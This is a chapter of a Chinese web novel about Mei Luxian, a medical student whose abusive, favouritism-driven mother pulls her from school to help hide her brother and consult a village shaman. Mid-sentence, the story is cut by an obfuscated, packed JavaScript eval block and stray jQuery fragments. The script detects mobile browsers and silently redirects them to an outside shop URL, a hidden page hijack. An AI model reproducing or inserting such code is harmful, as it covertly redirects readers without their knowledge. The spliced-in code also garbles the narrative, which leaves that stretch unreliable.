第二日一早起来,梅鹿衔两只眼睛肿的像桃子,大家自然是装作无事。
几人吃完早饭,商量好回学校收拾一下宿舍,把开课的书本领了,准备好后日就开始上课了。
刘雪萍和杨冬梅是前一日把衣物书包都放回学校宿舍,昨日从学校出来聚会的,家慧拿了几件简单的换洗衣服,几人便陪梅鹿衔回家拿书包和寒假功课,拿上衣物一起返校。
进了家门,看到一家人竟然都在,梅鹿衔挺吃惊,过新年都不着家的梅爸爸梅妈妈,今日竟然没有打闹的鸡飞狗跳,两人并排坐在自己家的老旧的掉了色的大沙发上。
梅妈妈坐在旧沙发上脸上略带忧思,皱紧眉头,双臂抱在胸前,右手指缝手里夹着烟,支在嘴边,梅爸爸窝在沙发另一侧满脸不高兴不耐烦也皱着双眉吸烟,那个整日早出晚归见不到人影儿的哥哥梅书丞,这会儿垂头丧气的站在窗前。
梅灵芝画着浓浓的妆,斜倚着坐在八仙桌旁的椅子上,拿着镜子来回照着自己的脸,脑袋也左一侧右一侧的对着镜子转来转去,把自己过新年问梅鹿衔借钱烫的一头大波浪卷发捋了又捋,时而再伸展自己的胳膊,看看自己涂着猩红指甲油的手美不美。
几个人忙和梅爸爸梅妈妈、姐姐哥哥打了招呼,陪鹿衔进房里去拿衣物和书包。
梅妈妈大喊着把鹿衔叫出来骂道,“死丫头,昨晚去哪里野去了?!”伸出手在梅鹿衔胳膊上狠狠地拧了一把,又在她后背狠狠给了两巴掌,丝毫没有关心梅鹿衔为何双眼红肿。
梅鹿衔缩了一下没敢躲掉,揉了揉被掐疼的胳膊,脸上没有什么表情,习惯了梅妈妈不关心只会埋怨责备她,并没有分辨。
“让你同学帮你把行李带到学校去,帮你请两三天假。”梅妈妈吩咐。
鹿衔不解,“为什么?三天很耽误功课的。”
梅妈妈不高兴的脸色突变,梅鹿衔应该听自己说什么就是什么,那里有她置喙的资格,“你得陪我和你哥哥去趟长溪,带我们去李桥镇俞家神堂。”梅妈妈双手插在腰间,冷脸探头直勾勾地盯着鹿衔,那意思分明就是你还有什么可问的?
“让姐姐带你们去不行吗?我开学了要上课的。”梅鹿衔很不情愿。
梅妈妈怒了,狠狠一巴掌拍到鹿衔后背,“你个死丫头!不行!你姐姐有事情去不了,有急事要抓紧时间所以得你带我们去,后日初六,让你同学帮你请假,今儿你也不要回学校了,家里这么大的事儿,你还有心思去学校。”
“那我后天下午回来不就行了。”梅鹿衔小声回答。
梅妈妈不高兴的脸拉下来, "那不行!你不在这一大家子的饭谁做?!”
梅鹿衔虽不情愿却也不敢再坚持,“知道了。”她知道自己若是不做这几日的家务,梅妈妈会唠叨着骂好几年。
梅鹿衔让几人帮她把书包和换洗衣服拿到宿舍,说自己做好饭菜来得及便回学校,今日若是没有回去,就帮忙给自己领书、请三日事假。
把同学送到车站回来,刚一进门,梅妈妈就说:“一家人都饿肚子呢,你赶紧的做饭去。”
梅鹿衔自小便习惯了自己一人做所有的家务活,也没说什么,进厨房先烧水,淘米择菜,水烧开后给梅爸爸梅妈妈泡了茶。
吃饭的时候才知道,原来哥哥惹事儿了,把一个军头的儿子打伤了。
吃完饭梅妈妈让鹿衔帮哥哥梅书丞简单收拾了一下行李,看样子哥哥从长溪李桥镇看完大仙,就得去外面躲躲了。
梅鹿衔和梅妈妈先雇了一辆板车,把梅书丞的行李拉到城边,又雇了个驴车,接上提前去城边在茶馆里等着的梅书丞,把他和行李送到了梅妈妈好朋友在奉天城附近一个小屯子里的鱼塘,鱼塘那里她朋友家男人一个人在看着,很安静,附近最近的邻居也离着好几里地呢。
对于这个哥哥,鹿衔还是愿意帮的,因为哥哥没有像梅灵芝一样狠狠欺负她,虽然对她也很嫌弃,但偶尔会在她备考很忙很辛苦,自己做饭吃顺带给她带上,还会给她分点儿在外面买回来的吃的,乔奕宁是他关系特别好的同学,梅鹿衔能遇见乔奕宁也是得益于他。
路上梅书丞脸上一副茫然,不知自己今后何去何从,看着给他忙前忙后收拾搬运行李,找驴车,陪着梅妈妈送自己,还要被梅妈妈不停数落的梅鹿衔,突然发觉原来这个妹妹其实挺好,梅爸爸梅妈妈一天不着家,从小到大的饭都是妹妹做,衣服都是妹妹给洗,梅书丞有些触动,“哥都知道了,你好好的,不要难过,本来我就不大同意你和奕宁在一起,奕宁人是挺好,但你俩不是一类人,他太爱玩了。回头我会去找他问问理由,让他给你个交代。你好好读书毕业工作以后找个医生,好好过你自己的日子。哥不在家的时候有什么事情,可以去找伯同帮忙。”
梅鹿衔脸红了,面对梅书丞突然表示的关心有些不自在,也很不好意思被自己哥哥的同学狠甩,一如从前他们曾说,“你配得上乔奕宁吗?竟然癞蛤蟆想吃天鹅肉……”自卑地低下了头,“知道了。你别找他了,也别问,我们已经见过面,他也说清楚了,你照顾好自己。”别过脸透过车篷的小窗子看着外面发呆。
下午,梅书丞的同学兼好友刘伯同已经开着乔奕宁家的小轿车,在城边小茶馆里等着了,接到了梅书丞三人,一路颠簸开到李桥镇。
已经天色已很晚,梅妈妈用出门逼迫梅鹿衔拿出的钱,在上次梅鹿衔和梅灵芝住的那家车马大店订了两间房,准备第二日大早去大仙的神堂问问事情大不大,然后再作打算。
第二日一早到了俞家神堂,好在不是什么特殊的日子,人并不像上次那样特别多。
一早请神仙爷爷出堂后看了几个人,都是问家里孩子姻缘,和来年开春的财运,种什么庄稼好的。
梅妈妈在家已经问过梅灵芝这里的一切,跑到隔壁屋子找到了大仙的大女儿巧丽,问了一下她们的号码得等到下午三点左右才能看上,和巧丽说好下午再过来,便返回李桥镇上的客栈休息。
梅妈妈和书丞还有刘伯同聊了一会儿天,隔着屋子梅鹿衔都能听到梅妈妈的笑声和说话声,一点儿不像是儿子闯了祸的样子,不知是心大还是见过大世面。
梅鹿衔这两天都为这事儿发愁,她是真理解不了梅妈妈的心思,说她不着急她还挺为她儿子奔前忙后的,说她担忧但是她吸烟打扮,在家和梅灵芝各种家长里短,各种新闻从东扯到西,有时候被她心爱的大女儿梅灵芝翻脸无情骂了,还要赔小心巴结人家,出门前还不忘和梅爸爸找茬儿斗鸡眼儿似的拌嘴,差点儿打斗一小场。
梅妈妈聊得尽性后到梅鹿衔她们上次住的屋子里,叫梅鹿衔出去吃饭。还问坐在大桌子旁看书的梅鹿衔说:“那个臭小子和你掰了,也没给你钱吗?”
“你在说什么啊?!人家为什么要给我钱。”
“那不行,凭什么,我回去就找他家赔偿去。”
“哎呀,你不要闹了,什么事情都要说到钱上去,跟钱有什么关系。”
“哼!没出息的东西,一点儿不像你姐姐,白陪了人家几年又让人家白白甩掉,你再这样我就懒得管你了。”梅妈妈气急了用食指猛戳在鹿衔脑门上,劲儿太大把鹿衔的头都推搡的狠狠撞到墙上,又在鹿衔后背拍几巴掌,她从来也没有管过鹿衔,只不过是觉得可以借这个机会问乔家讹些钱财。
梅鹿衔听到这句话,心里很不是滋味也不明白:“为什么要了赔偿就是有出息,两人之间的自由恋爱是这个时代所提倡的,是双方共同付出感情,为什个非要去问乔奕宁要赔偿?”梅鹿衔不敢继续说既然和钱有关系,怎么不提这些年让她厚着脸皮接受乔奕宁从家里粮行拿到梅家全家一起吃的粮油?
之前乔奕宁那么多的好意,为什么在她们眼里就是那么理所应当?既然是理所应当,为什么梅灵芝从十三四岁开始不上学堂,走马灯似的谈恋爱也没见梅妈妈索要过任何补偿?为什么梅灵芝就不被骂没出息,还把自己说的那么刚毅果断,每次都是她狠甩了别人,是别人哭着喊着哀求她回头,明明看到的都是相反的,是梅灵芝灰溜溜的回梅家,讪讪装几天后就又开始称王称霸,怎么到了梅妈妈嘴里,梅灵芝像是只斗胜的森林之王成了拿得起放得下?
但这些话梅鹿衔也不敢说出来,她理解不了梅妈妈的偏心,只能委屈地又偷偷抹眼泪,她很担心梅妈妈背着自己去乔家索要赔偿,那她就没脸活人了。
有一次乔奕宁和梅鹿衔为难地说:“鹿衔,你暂且再等些时日,我父母不同意我们两人,暂时不敢带你回家见我父母。”原是乔奕宁想获得父母的同意,先和梅家提亲订亲,便向自己父母坦白和梅鹿衔恋爱了想要娶她,被乔家父母和乔奕宁的姐姐所不容。
乔奕宁父母很震惊,“肖云美的女儿你也敢来往?那可是奉天城里的大名人,不是省油的灯,在外面招蜂引蝶,吸烟喝酒打麻将,整日里瞎胡混,老奉天城里的人谁不知道……”
那时梅鹿衔才从外人口中得知,许多人都知道梅妈妈因为骗人家钱财,外面欠一大堆外债不还,“龙生龙,凤生凤,她那个大女儿也是有样学
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816524|211065||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
样,小小年纪就在社会上瞎胡混了,她那小女儿和他们一个池子里的臭鱼烂虾,能有多大区别,听说还是肖云美带回去的野种,你不要脸我们还要,你就死了那条心,我们绝不同意!”……
梅鹿衔考进奉天医科大学后,有一次和乔奕宁出去玩,在宝发园遇见乔奕宁的姐姐乔奕欢和姐夫来吃饭,乔奕欢热情的邀请两人一起吃,点菜后指使钱奕宁去她车里找东西,背着乔奕宁,不顾自己先生的阻拦威胁鹿衔,“我知道我和你说的话会让你失望,但是我还是要说清楚我乔家的态度,我说完后你不许提前走,老老实实若无其事的把这顿饭吃完,不许让我弟弟看出来你不高兴,我知道你乔家的底细,也了解你家都是什么货色,别以为你考上了奉天医科大学就配进我乔家大门,你最好离我弟弟远些!别逼着我去学校羞辱你……”
梅鹿衔惊愕不已,又难过又自卑,窘迫的红着脸低下头默默擦掉眼泪,“姐姐,我,我……”鹿衔从小在家中逆来顺受惯了,也不知如何分辨,恨不得找个地缝儿钻进去。
乔奕欢已经这样说了,鹿衔觉得自己好像也无法辩驳,便起身想要离开,又被乔奕欢一把摁住,“你老实坐下吃完这顿饭,之后疏远我家奕宁,不要故意挑拨我和奕宁的感情,让我乔家因为你而生波澜!”
突然折反回来要车钥匙的乔奕宁看到,气急败坏拉着鹿衔走掉,回家后和他姐姐、父母大闹一场,以断绝关系相逼总算打消乔奕欢去学校找梅鹿衔的念头。
梅鹿衔很受打击,怕自己将来因为这些原因很难嫁出去,但是她从来没有怨恨从来没有嫌弃过梅妈妈,还是很渴望梅妈妈能对自己好一些,亲昵一些,可梅妈妈却不是,从来都是嫌弃无辜的梅鹿衔。
几人到客栈大堂吃完饭,回房睡了一会儿,起来往屯子里去。
走到余家神堂的小路口,看到一队正在就地整休的军队,几人猜测:“这大概附近出来拉练的驻军吧!”
进神堂后看还没到自己的号,梅妈妈便从神堂出来,发挥了自己强大的交际能力,凑到大仙儿的大女儿至柔身边,一会儿的时间就同巧丽聊到很亲热,像是故交旧友般热火朝天。
梅妈妈一贯如此,走到哪里都是只要她想,就能和人很快熟络起来的。
梅妈妈给至柔用自己随身带的化妆品画了妆,梳了一个时兴的发髻,把自己发髻旁边的一个镂花银发夹别到了大女儿发髻旁边,又送给大女儿一管新的蝴蝶红口脂,一支眉笔,还有一个新式的可以对开的,里面带小镜子的铁壳儿MAX FACTOR舶来品粉饼,大女儿眉眼俱笑一口一个“婶儿”的叫着,不知道的,还真以为俩人真是亲戚。
梅妈妈和梅灵芝母女俩都是从不亏待自己的人,也更是一个不顾家的人,有钱只会花在自己身上,梅妈妈为了儿子倒是大方了。
至柔大让梅妈妈等一会儿,走到神堂里把她爹叫了出来,在耳边窃窃私语后,对梅妈妈招手示意,让她爹带梅妈妈他们加了队提前看。
大仙的男人进入神堂走到大仙跟前,在耳边说了几句话,大仙看了一眼男人带来加队的梅妈妈一行人,便态度和蔼招呼让梅妈妈先看。
梅鹿衔上次还为富家少爷加了塞儿不平,没想到在自己心中很神圣的神堂上,竟然也有了优待。
大仙撕了条红布条儿,用香顶着布条的头部,贴在墙上的一整块大红布上,请示了神仙爷爷后,同跪在神台前的梅妈妈和梅书丞说:“儿子没什么事情,对方也没太大的事情,农历四月会有贵人,是个大人物,会主动替你们出面中间调停的,儿子上辈子是有钱的善人,还出钱修路赈灾派粥,我保他了。让他躲起来避一年,避开之前一起惹事打架的同伙儿,就可把后面一个大难避过去了。孩子过了农历三月十八一切就顺起来了了,但是依然不能出门,绝不能再和一起打架瞎胡混的朋友来往,记住了吗?”
梅妈妈问道:“记住了,可是大仙,请问到哪里去找贵人?”
“不用你找,到时见自然就会出现,你就知道是谁了。”大仙听梅妈妈问的话笑了起来。
梅妈妈和梅书丞,和虔诚的梅鹿衔一起磕了头,又得了大仙给的很多供果出了神堂。
出了神堂,梅鹿衔低声对梅妈妈说:“大仙好像变样儿了,白了好些也瘦了,原来狭缝儿眼尾上翘的吊梢眼儿,好像变大了,人也显得很年轻。”梅妈妈白了鹿衔一眼,“悄着些的,可不敢胡说!”
梅鹿衔再没敢说什么,心里默默回忆着第一次见到大仙儿的模样,还是觉得确实变样儿了。